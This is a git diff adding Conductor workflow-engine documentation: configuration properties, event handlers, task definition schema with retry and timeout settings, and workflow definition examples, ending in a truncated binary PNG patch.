+conductor.app.systemTaskWorkerPollInterval=50ms + +# The namespace for the system task workers to provide instance-level isolation. Example: namespace1, namespace2 +conductor.app.systemTaskWorkerExecutionNamespace= + +# The number of threads to be used within the threadpool for system task workers in each isolation group. Example: 4 +conductor.app.isolatedSystemTaskWorkerThreadCount=4 + +# The duration of workflow execution qualifying as short-running when async indexing to Elasticsearch is enabled. Example: 30s +conductor.app.asyncUpdateShortRunningWorkflowDuration=30s + +# The delay with which short-running workflows will be updated in Elasticsearch when async indexing is enabled. Example: 60s +conductor.app.asyncUpdateDelay=60s + +# Whether to validate the owner email field as mandatory within workflow and task definitions. Example: true or false +conductor.app.ownerEmailMandatory=true + +# The number of threads used in the Scheduler for polling events from multiple event queues. Example: 8 if there are 4 processors (2x4) +conductor.app.eventQueueSchedulerPollThreadCount=8 + +# The time interval at which the default event queues will be polled. Example: 100ms +conductor.app.eventQueuePollInterval=100ms + +# The number of messages to be polled from a default event queue in a single operation. Example: 10 +conductor.app.eventQueuePollCount=10 + +# The timeout for the poll operation on the default event queue. Example: 1000ms +conductor.app.eventQueueLongPollTimeout=1000ms + +# The threshold of the workflow input payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: 5120KB +conductor.app.workflowInputPayloadSizeThreshold=5120KB + +# The maximum threshold of the workflow input payload size beyond which input will be rejected and the workflow marked as FAILED. Example: 10240KB +conductor.app.maxWorkflowInputPayloadSizeThreshold=10240KB + +# The threshold of the workflow output payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: 5120KB +conductor.app.workflowOutputPayloadSizeThreshold=5120KB + +# The maximum threshold of the workflow output payload size beyond which output will be rejected and the workflow marked as FAILED. Example: 10240KB +conductor.app.maxWorkflowOutputPayloadSizeThreshold=10240KB + +# The threshold of the task input payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: 3072KB +conductor.app.taskInputPayloadSizeThreshold=3072KB + +# The maximum threshold of the task input payload size beyond which the task input will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: 10240KB +conductor.app.maxTaskInputPayloadSizeThreshold=10240KB + +# The threshold of the task output payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: 3072KB +conductor.app.taskOutputPayloadSizeThreshold=3072KB + +# The maximum threshold of the task output payload size beyond which the task output will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: 10240KB +conductor.app.maxTaskOutputPayloadSizeThreshold=10240KB + +# The maximum threshold of the workflow variables payload size beyond which the task changes will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: 256KB +conductor.app.maxWorkflowVariablesPayloadSizeThreshold=256KB + +# The maximum size of task execution logs. Example: 10000 +conductor.app.taskExecLogSizeLimit=10000 +``` diff --git a/docs/documentation/configuration/eventhandlers.md b/docs/documentation/configuration/eventhandlers.md new file mode 100644 index 0000000..9e631c1 --- /dev/null +++ b/docs/documentation/configuration/eventhandlers.md @@ -0,0 +1,123 @@ +--- +description: "Event Handlers — configure Conductor to produce and consume events from Kafka, SQS, and other message systems." +--- +# Event Handlers +Eventing in Conductor provides for loose coupling between workflows and support for producing and consuming events from external systems. + +This includes: + +1. Being able to produce an event (message) in an external system like SQS, Kafka or internal to Conductor. +2. Start a workflow when a specific event occurs that matches the provided criteria. + +Conductor provides SUB_WORKFLOW task that can be used to embed a workflow inside parent workflow. Eventing supports provides similar capability without explicitly adding dependencies and provides **fire-and-forget** style integrations. + +## Event Task +Event task provides ability to publish an event (message) to either Conductor or an external eventing system like SQS or Kafka. Event tasks are useful for creating event based dependencies for workflows and tasks. + +See [Event Task](workflowdef/systemtasks/event-task.md) for documentation. + +## Event Handler +Event handlers are listeners registered that executes an action when a matching event occurs. The supported actions are: + +1. Start a Workflow +2. Fail a Task +3. Complete a Task + +Event Handlers can be configured to listen to Conductor Events or an external event like SQS or Kafka. + +## Configuration +Event Handlers are configured via ```/event/``` APIs. + +### Structure +```json +{ + "name" : "descriptive unique name", + "event": "event_type:event_location", + "condition": "boolean condition", + "actions": ["see examples below"] +} +``` +`condition` is an expression that MUST evaluate to a boolean value. A Javascript like syntax is supported that can be used to evaluate condition based on the payload. +Actions are executed only when the condition evaluates to `true`. + +## Examples +### Condition +Given the following payload in the message: + +```json +{ + "fileType": "AUDIO", + "version": 3, + "metadata": { + "length": 300, + "codec": "aac" + } +} +``` + +The following expressions can be used in `condition` with the indicated results: + +| Expression | Result | +| -------------------------- | ------ | +| `$.version > 1` | true | +| `$.version > 10` | false | +| `$.metadata.length == 300` | true | + + +### Actions +Examples of actions that can be configured in the `actions` array: + +**To start a workflow** + +```json +{ + "action": "start_workflow", + "start_workflow": { + "name": "WORKFLOW_NAME", + "version": "", + "input": { + "param1": "${param1}" + } + } +} +``` + +**To complete a task** + +```json +{ + "action": "complete_task", + "complete_task": { + "workflowId": "${workflowId}", + "taskRefName": "task_1", + "output": { + "response": "${result}" + } + }, + "expandInlineJSON": true +} +``` + +**To fail a task*** + +```json +{ + "action": "fail_task", + "fail_task": { + "workflowId": "${workflowId}", + "taskRefName": "task_1", + "reasonForIncompletion": "${error}", + "output": { + "response": "${result}" + } + }, + "expandInlineJSON": true +} +``` +`reasonForIncompletion` is optional, but when provided on `fail_task` it is stored on the failed task and can propagate to the workflow failure reason when that task causes the workflow to fail. + +Input for starting a workflow and output when completing / failing task follows the same [expressions](workflowdef/index.md#using-expressions) used for wiring task inputs. + +!!!info "Expanding stringified JSON elements in payload" + `expandInlineJSON` property, when set to true will expand the inlined stringified JSON elements in the payload to JSON documents and replace the string value with JSON document. + This feature allows such elements to be used with JSON path expressions. diff --git a/docs/documentation/configuration/taskdef.md b/docs/documentation/configuration/taskdef.md new file mode 100644 index 0000000..fd470eb --- /dev/null +++ b/docs/documentation/configuration/taskdef.md @@ -0,0 +1,200 @@ +--- +description: "Task definition schema in Conductor — configure retry logic, exponential backoff, timeouts, rate limiting, and concurrency for durable workflow execution." +--- + +# Task Definition + +Task Definitions are used to register SIMPLE tasks (workers). Conductor maintains a registry of user task types. A task type MUST be registered before being used in a workflow. + +This should not be confused with [*Task Configurations*](workflowdef/index.md#task-configurations) which are part of the Workflow Definition, and are iterated in the `tasks` property in the definition. + + +## Schema + +| Field | Type | Description | Notes | +| :-------------------------- | :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :------------------------------------------------------------------------------- | +| name | string | Task Name. Unique name of the Task that resonates with its function. | Must be unique | +| description | string | Description of the task. | Optional | +| retryCount | number | Number of retries to attempt when a Task is marked as failure. | Defaults to 3 with maximum allowed capped at 10 | +| retryLogic | string (enum) | Mechanism for the retries. | See [Retry Logic](#retry-logic) | +| retryDelaySeconds | number | Base delay before the first retry. The meaning varies by `retryLogic`. | Defaults to 60 seconds | +| maxRetryDelaySeconds | number | Maximum delay between retries, in seconds. Caps the computed delay for `EXPONENTIAL_BACKOFF` and `LINEAR_BACKOFF` so delays never grow beyond this value. `0` disables the cap. | Defaults to 0 (no cap). See [Retry Logic](#retry-logic) | +| backoffJitterMs | number | Adds a random jitter of up to this many milliseconds to each retry delay. Spreads simultaneous retries across time to prevent thundering herd. `0` disables jitter. | Defaults to 0 (no jitter). See [Retry Logic](#retry-logic) | +| totalTimeoutSeconds | number | Maximum wall-clock time (in seconds) across all retry attempts combined. Once exceeded, the task fails immediately with no further retries, regardless of `retryCount`. `0` disables this limit. | Defaults to 0 (no limit). See [Timeout scenarios](../../../devguide/architecture/tasklifecycle.md#total-timeout) | +| timeoutPolicy | string (enum) | Task's timeout policy. | Defaults to `TIME_OUT_WF`; See [Timeout Policy](#timeout-policy) | +| timeoutSeconds | number | Time in seconds, after which the task is marked as `TIMED_OUT` if it has not reached a terminal state after transitioning to `IN_PROGRESS` status for the first time. | No timeouts if set to 0 | +| responseTimeoutSeconds | number | If greater than 0, the task is rescheduled if not updated with a status after this time (heartbeat mechanism). Useful when the worker polls for the task but fails to complete due to errors/network failure. | Defaults to 600 | +| pollTimeoutSeconds | number | Time in seconds, after which the task is marked as `TIMED_OUT` if not polled by a worker. | No timeouts if set to 0 | +| inputKeys | array of string(s) | Array of keys of task's expected input. Used for documenting task's input. | Optional. See [Using inputKeys and outputKeys](#using-inputkeys-and-outputkeys). | +| outputKeys | array of string(s) | Array of keys of task's expected output. Used for documenting task's output. | Optional. See [Using inputKeys and outputKeys](#using-inputkeys-and-outputkeys). | +| inputTemplate | object | Define default input values. | Optional. See [Using inputTemplate](#using-inputtemplate) | +| concurrentExecLimit | number | Number of tasks that can be executed at any given time. | Optional | +| rateLimitFrequencyInSeconds | number | Sets the rate limit frequency window. | Optional. See [Task Rate limits](#task-rate-limits) | +| rateLimitPerFrequency | number | Sets the max number of tasks that can be given to workers within window. | Optional. See [Task Rate limits](#task-rate-limits) below | +| ownerEmail | string | Email address of the team that owns the task. | Required | + +### Retry Logic + +The `retryLogic` field controls how the delay between retries is computed. The final delay applied is: + +``` +delay = clamp(computedDelay, 0, maxRetryDelaySeconds) + random(0, backoffJitterMs) ms +``` + +where `clamp` only applies when `maxRetryDelaySeconds > 0`. + +| Value | Delay formula | Notes | +| :--- | :--- | :--- | +| `FIXED` | `retryDelaySeconds` | Constant delay every retry. | +| `EXPONENTIAL_BACKOFF` | `retryDelaySeconds × 2^attemptNumber` | Doubles each attempt. Cap with `maxRetryDelaySeconds` to avoid runaway delays. | +| `LINEAR_BACKOFF` | `retryDelaySeconds × backoffScaleFactor × attemptNumber` | Grows linearly. `backoffScaleFactor` defaults to 1. | + +**`maxRetryDelaySeconds`** — caps the computed delay so it never exceeds this value. Example with `EXPONENTIAL_BACKOFF`, `retryDelaySeconds=1`, `maxRetryDelaySeconds=3`: + +| Attempt | Raw delay | After cap | +| :--- | :--- | :--- | +| 0 | 1s | 1s | +| 1 | 2s | 2s | +| 2 | 4s | 3s | +| 3+ | 8s+ | 3s | + +**`backoffJitterMs`** — adds a uniform random value in `[0, backoffJitterMs]` milliseconds to the final delay. This spreads retries from multiple failing workers across time (thundering herd prevention). Example: `retryDelaySeconds=2`, `backoffJitterMs=1000` → each retry fires between 2 000 ms and 3 000 ms after failure. + +### Timeout Policy + +* `RETRY`: Retries the task again +* `TIME_OUT_WF`: Workflow is marked as TIMED_OUT and terminated. This is the default value. +* `ALERT_ONLY`: Registers a counter (task_timeout) + +### Task Concurrent Execution Limits + +`concurrentExecLimit` limits the number of simultaneous Task executions at any point. + +**Example** +You have 1000 task executions waiting in the queue, and 1000 workers polling this queue for tasks, but if you have set `concurrentExecLimit` to 10, only 10 tasks would be given to workers (which would lead to starvation). If any of the workers finishes execution, a new task(s) will be removed from the queue, while still keeping the current execution count to 10. + +### Task Rate Limits + +!!! note "Rate Limiting" + Rate limiting is only supported for the Redis-persistence module and is not available with other persistence layers. + +* `rateLimitFrequencyInSeconds` and `rateLimitPerFrequency` should be used together. +* `rateLimitFrequencyInSeconds` sets the "frequency window", i.e the `duration` to be used in `events per duration`. Eg: 1s, 5s, 60s, 300s etc. +* `rateLimitPerFrequency`defines the number of Tasks that can be given to Workers per given "frequency window". No rate limit if set to 0. + +**Example** +Let's set `rateLimitFrequencyInSeconds = 5`, and `rateLimitPerFrequency = 12`. This means our frequency window is of 5 seconds duration, and for each frequency window, Conductor would only give 12 tasks to workers. So, in a given minute, Conductor would only give 12*(60/5) = 144 tasks to workers irrespective of the number of workers that are polling for the task. + +Note that unlike `concurrentExecLimit`, rate limiting doesn't take into account tasks already in progress or a terminal state. Even if all the previous tasks are executed within 1 sec, or would take a few days, the new tasks are still given to workers at configured frequency, 144 tasks per minute in above example. + + +### Using `inputKeys` and `outputKeys` + +* `inputKeys` and `outputKeys` can be considered as parameters and return values for the Task. +* Consider the task Definition as being represented by an interface: ```(value1, value2 .. valueN) someTaskDefinition(key1, key2 .. keyN);```. +* However, these parameters are not strictly enforced at the moment. Both `inputKeys` and `outputKeys` act as a documentation for task re-use. The tasks in workflow need not define all of the keys in the task definition. +* In the future, this can be extended to be a strict template that all task implementations must adhere to, just like interfaces in programming languages. + +### Using `inputTemplate` + +* `inputTemplate` allows to define default values, which can be overridden by values provided in Workflow. +* Eg: In your Task Definition, you can define your inputTemplate as: + +```json +"inputTemplate": { + "url": "https://some_url:7004" +} +``` + +* Now, in your workflow Definition, when using above task, you can use the default `url` or override with something else in the task's `inputParameters`. + +```json +"inputParameters": { + "url": "${workflow.input.some_new_url}" +} +``` + +## Retry configuration examples + +### Retrying a flaky external API call + +```json +{ + "name": "call_payment_api", + "retryCount": 5, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 2, + "maxRetryDelaySeconds": 60, + "backoffJitterMs": 2000, + "responseTimeoutSeconds": 30, + "timeoutSeconds": 300, + "timeoutPolicy": "RETRY", + "ownerEmail": "payments@example.com" +} +``` + +Retries up to 5 times with delays 2s, 4s, 8s, 16s, 32s — capped at 60s — plus up to 2 seconds of random jitter on each attempt. Prevents hammering a degraded payment provider. + +### Bounded retry budget with `totalTimeoutSeconds` + +```json +{ + "name": "process_order", + "retryCount": 10, + "retryLogic": "FIXED", + "retryDelaySeconds": 5, + "totalTimeoutSeconds": 120, + "timeoutPolicy": "TIME_OUT_WF", + "ownerEmail": "orders@example.com" +} +``` + +Retries every 5 seconds, but the entire sequence — all attempts combined — must finish within 2 minutes. Even if `retryCount` isn't exhausted, the task fails once the 2-minute budget is consumed. + +### High-throughput worker with jitter + +```json +{ + "name": "send_notification", + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 1, + "backoffJitterMs": 3000, + "concurrentExecLimit": 500, + "ownerEmail": "notifications@example.com" +} +``` + +When thousands of notifications fail simultaneously (e.g., downstream outage), jitter spreads the retries across a 3-second window instead of all hammering the service at once. + +## Complete Example + +``` json +{ + "name": "encode_task", + "retryCount": 3, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 10, + "maxRetryDelaySeconds": 120, + "backoffJitterMs": 5000, + "totalTimeoutSeconds": 600, + "timeoutSeconds": 1200, + "timeoutPolicy": "TIME_OUT_WF", + "responseTimeoutSeconds": 3600, + "pollTimeoutSeconds": 3600, + "inputKeys": [ + "sourceRequestId", + "qcElementType" + ], + "outputKeys": [ + "state", + "skipped", + "result" + ], + "concurrentExecLimit": 100, + "rateLimitFrequencyInSeconds": 60, + "rateLimitPerFrequency": 50, + "ownerEmail": "foo@bar.com", + "description": "Sample Encoding task" +} +``` diff --git a/docs/documentation/configuration/workflowdef/index.md b/docs/documentation/configuration/workflowdef/index.md new file mode 100644 index 0000000..15f119d --- /dev/null +++ b/docs/documentation/configuration/workflowdef/index.md @@ -0,0 +1,311 @@ +--- +description: "Complete reference for Conductor workflow definitions — properties, task configurations, input expressions, failure workflows, and timeout policies." +--- + +# Workflow Definition + +The Workflow Definition contains all the information necessary to define the behavior of a workflow. The most important part of this definition is the `tasks` property, which is an array of [**Task Configurations**](#task-configurations). + +For the formal JSON Schema definitions of workflow and task structures, see the [`schemas/`](https://github.com/conductor-oss/conductor/tree/main/schemas) directory in the repository. + + +## Workflow Properties +| Field | Type | Description | Notes | +|:------------------------------|:---------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| :------------------------------------------------------------------------------------------------ | +| name | string | Name of the workflow | | +| description | string | Description of the workflow | Optional | +| version | number | Numeric field used to identify the version of the schema. Use incrementing numbers. | When starting a workflow execution, if not specified, the definition with highest version is used | +| tasks | array of object(s) | An array of task configurations. [Details](#task-configurations) | | +| inputParameters | array of string(s) | List of input parameters. Used for documenting the required inputs to workflow | Optional. | +| outputParameters | object | JSON template used to generate the output of the workflow | If not specified, the output is defined as the output of the _last_ executed task | +| inputTemplate | object | Default input values. See [Using inputTemplate](#default-input-with-inputtemplate) | Optional. | +| failureWorkflow | string | Workflow to be run on current Workflow failure. Useful for cleanup or post actions on failure. [Explanation](#failure-workflow) | Optional. | +| failureWorkflowVersion | number | When `failureWorkflow` parameter is specified, sets the _failure workflow version_ to be run on current Workflow failure. If not specified, the latest version will be used. | Optional. | +| schemaVersion | number | Current Conductor Schema version. schemaVersion 1 is discontinued. | Must be 2 | +| restartable | boolean | Flag to allow Workflow restarts | Defaults to true | +| workflowStatusListenerEnabled | boolean | Enable status callback. [Explanation](#workflow-status-listener) | Defaults to false | +| ownerEmail | string | Email address of the team that owns the workflow | Required | +| timeoutSeconds | number | The timeout in seconds after which the workflow will be marked as `TIMED_OUT` if it hasn't been moved to a terminal state | No timeouts if set to 0 | +| timeoutPolicy | string ([enum](#timeout-policy)) | Workflow's timeout policy | Defaults to `TIME_OUT_WF` | + +### Failure Workflow + +The failure workflow gets the _original failed workflow’s input_ along with 3 additional items, + +* `workflowId` - The id of the failed workflow which triggered the failure workflow. +* `reason` - A string containing the reason for workflow failure. +* `failureStatus` - A string status representation of the failed workflow. +* `failureTaskId` - The id of the failed task of the workflow that triggered the failure workflow. + +### Timeout Policy + +* TIME_OUT_WF: Workflow is marked as TIMED_OUT and terminated +* ALERT_ONLY: Registers a counter (workflow_failure with status tag set to `TIMED_OUT`) + +### Workflow Status Listener +Setting the `workflowStatusListenerEnabled` field in your Workflow Definition to `true` enables notifications. + +To add a custom implementation of the Workflow Status Listener. Refer to the [Workflow Status Listener extension guide](../../advanced/extend.md#workflow-status-listener). + +The listener can be implemented in such a way as to either send a notification to an external system or to send an event on the conductor queue to complete/fail another task in another workflow as described in the [event handlers guide](../eventhandlers.md). + +### Default Input with `inputTemplate` + +* `inputTemplate` allows you to define default input values, which can optionally be overridden at runtime (when the workflow is invoked). +* Eg: In your Workflow Definition, you can define your inputTemplate as: + +```json +"inputTemplate": { + "url": "https://some_url:7004" +} +``` + +And `url` would be `https://some_url:7004` if no `url` was provided as input to your workflow. + + + + +## Task Configurations + +The `tasks` property in a Workflow Definition defines an array of *Task Configurations*. This is the blueprint for the workflow. Task Configurations can reference different types of Tasks. + +* Simple Tasks +* System Tasks +* Operators + +Note: Task Configuration should not be confused with **Task Definitions**, which are used to register SIMPLE (worker based) tasks. + +| Field | Type | Description | Notes | +| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------- | +| name | string | Name of the task. MUST be registered as a Task Type with Conductor before starting workflow | | +| taskReferenceName | string | Alias used to refer the task within the workflow. MUST be unique within workflow. | | +| type | string | Type of task. SIMPLE for tasks executed by remote workers, or one of the system task types | | +| description | string | Description of the task | optional | +| optional | boolean | true or false. When set to true - workflow continues even if the task fails. The status of the task is reflected as `COMPLETED_WITH_ERRORS` | Defaults to `false` | +| inputParameters | object | JSON template that defines the input given to the task. Only one of `inputParameters` or `inputExpression` can be used in a task. | See [Using Expressions](#using-expressions) for details | +| inputExpression | object | JSONPath expression that defines the input given to the task. Only one of `inputParameters` or `inputExpression` can be used in a task. | See [Using Expressions](#using-expressions) for details | +| asyncComplete | boolean | `false` to mark status COMPLETED upon execution; `true` to keep the task IN_PROGRESS and wait for an external event to complete it. | Defaults to `false` | +| startDelay | number | Time in seconds to wait before making the task available to be polled by a worker. | Defaults to 0. | + + +In addition to these parameters, System Tasks have their own parameters. Check out [System Tasks](systemtasks/index.md) for more information. + +### Using Expressions +Each executed task is given an input based on the `inputParameters` template or the `inputExpression` configured in the task configuration. Only one of `inputParameters` or `inputExpression` can be used in a task. + +#### inputParameters +`inputParameters` can use JSONPath **expressions** to extract values out of the workflow input and other tasks in the workflow. + +For example, workflows are supplied an `input` by the client/caller when a new execution is triggered. The workflow `input` is available via an *expression* of the form `${workflow.input...}`. Likewise, the `input` and `output` data of a previously executed task can also be extracted using an *expression* for use in the `inputParameters` of a subsequent task. + +Generally, `inputParameters` can use *expressions* of the following syntax: + +> `${SOURCE.input/output.JSONPath}` + +| Field | Description | +| ------------ | ------------------------------------------------------------------------ | +| SOURCE | Can be either `"workflow"` or the reference name of any task | +| input/output | Refers to either the input or output of the source | +| JSONPath | JSON path expression to extract JSON fragment from source's input/output | + + +!!! note "JSON Path Support" + Conductor supports [JSONPath](http://goessner.net/articles/JsonPath/) specification and uses the [jayway/JsonPath](https://github.com/jayway/JsonPath) Java implementation. + +!!! note "Escaping expressions" + To escape an expression, prefix it with an extra _$_ character (ex.: ```$${workflow.input...}```). + +#### inputExpression + +`inputExpression` can be used to select an entire object from the workflow input, or the output of another task. The field supports all [definite](https://github.com/json-path/JsonPath#what-is-returned-when) JSONPath expressions. + +The syntax for mapping values in `inputExpression` follows the pattern, + +> `SOURCE.input/output.JSONPath` + +**NOTE:** The ```inputExpression``` field does not require the expression to be wrapped in `${}`. + +See [example](#example-3-inputexpression) below. + +## Examples + +### Example 1 - A Basic Workflow Definition + +Assume your business logic is to simply to get some shipping information and then do the shipping. You start by +logically partitioning them into two tasks: + + 1. *shipping_info* - The first task takes the provided account number, and outputs an address. + 2. *shipping_task* - The 2nd task takes the address info and generates a shipping label. + +We can configure these two tasks in the `tasks` array of our Workflow Definition. Let's assume that ```shipping info``` takes an account number, and returns a name and address. + +```json +{ + "name": "mail_a_box", + "description": "shipping Workflow", + "version": 1, + "tasks": [ + { + "name": "shipping_info", + "taskReferenceName": "shipping_info_ref", + "inputParameters": { + "account": "${workflow.input.accountNumber}" + }, + "type": "SIMPLE" + }, + { + "name": "shipping_task", + "taskReferenceName": "shipping_task_ref", + "inputParameters": { + "name": "${shipping_info_ref.output.name}", + "streetAddress": "${shipping_info_ref.output.streetAddress}", + "city": "${shipping_info_ref.output.city}", + "state": "${shipping_info_ref.output.state}", + "zipcode": "${shipping_info_ref.output.zipcode}", + }, + "type": "SIMPLE" + } + ], + "outputParameters": { + "trackingNumber": "${shipping_task_ref.output.trackingNumber}" + }, + "failureWorkflow": "shipping_issues", + "failureWorkflowVersion": 1, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "conductor@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} +``` + +Upon completion of the 2 tasks, the workflow outputs the tracking number generated in the 2nd task. If the workflow fails, a second workflow named ```shipping_issues``` is run. + + +### Example 2 - Task Configuration +Consider a task `http_task` with input configured to use input/output parameters from workflow and a task named `loc_task`. + +```json +{ + "name": "encode_workflow", + "description": "Encode movie.", + "version": 1, + "inputParameters": [ + "movieId", "fileLocation", "recipe" + ], + "tasks": [ + { + "name": "loc_task", + "taskReferenceName": "loc_task_ref", + "taskType": "SIMPLE", + ... + }, + { + "name": "http_task", + "taskReferenceName": "http_task_ref", + "taskType": "HTTP", + "inputParameters": { + "movieId": "${workflow.input.movieId}", + "url": "${workflow.input.fileLocation}", + "lang": "${loc_task.output.languages[0]}", + "http_request": { + "method": "POST", + "url": "http://example.com/${loc_task.output.fileId}/encode", + "body": { + "recipe": "${workflow.input.recipe}", + "params": { + "width": 100, + "height": 100 + } + }, + "headers": { + "Accept": "application/json", + "Content-Type": "application/json" + } + } + } + } + ], + "ownerEmail": "conductor@example.com", + "variables": {}, + "inputTemplate": {} +} + +``` + +Consider the following as the _workflow input_ + +```json +{ + "movieId": "movie_123", + "fileLocation":"s3://moviebucket/file123", + "recipe":"png" +} +``` +And the output of the _loc_task_ as the following; + +```json +{ + "fileId": "file_xxx_yyy_zzz", + "languages": ["en","ja","es"] +} +``` + +When scheduling the task, Conductor will merge the values from workflow input and `loc_task`'s output and create the input to the `http_task` as follows: + +```json +{ + "movieId": "movie_123", + "url": "s3://moviebucket/file123", + "lang": "en", + "http_request": { + "method": "POST", + "url": "http://example.com/file_xxx_yyy_zzz/encode", + "body": { + "recipe": "png", + "params": { + "width": 100, + "height": 100 + } + }, + "headers": { + "Accept": "application/json", + "Content-Type": "application/json" + } + } +} +``` + +### Example 3 - inputExpression +Given the following task configuration: +```json +{ + "name": "loc_task", + "taskReferenceName": "loc_task_ref", + "taskType": "SIMPLE", + "inputExpression": { + "expression": "workflow.input", + "type": "JSON_PATH" + } +} +``` + +When the workflow is invoked with the following _workflow input_ +```json +{ + "movieId": "movie_123", + "fileLocation":"s3://moviebucket/file123", + "recipe":"png" +} +``` + +When the task `loc_task` is scheduled, the entire workflow input object will be passed in as the task input: +```json +{ + "movieId": "movie_123", + "fileLocation":"s3://moviebucket/file123", + "recipe":"png" +} +``` diff --git a/docs/documentation/configuration/workflowdef/operators/ShippingWorkflow.png b/docs/documentation/configuration/workflowdef/operators/ShippingWorkflow.png new file mode 100644 index 0000000000000000000000000000000000000000..82aa43d9765e0353644ad1f65a6241a4bdc67418 GIT binary patch literal 9133 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 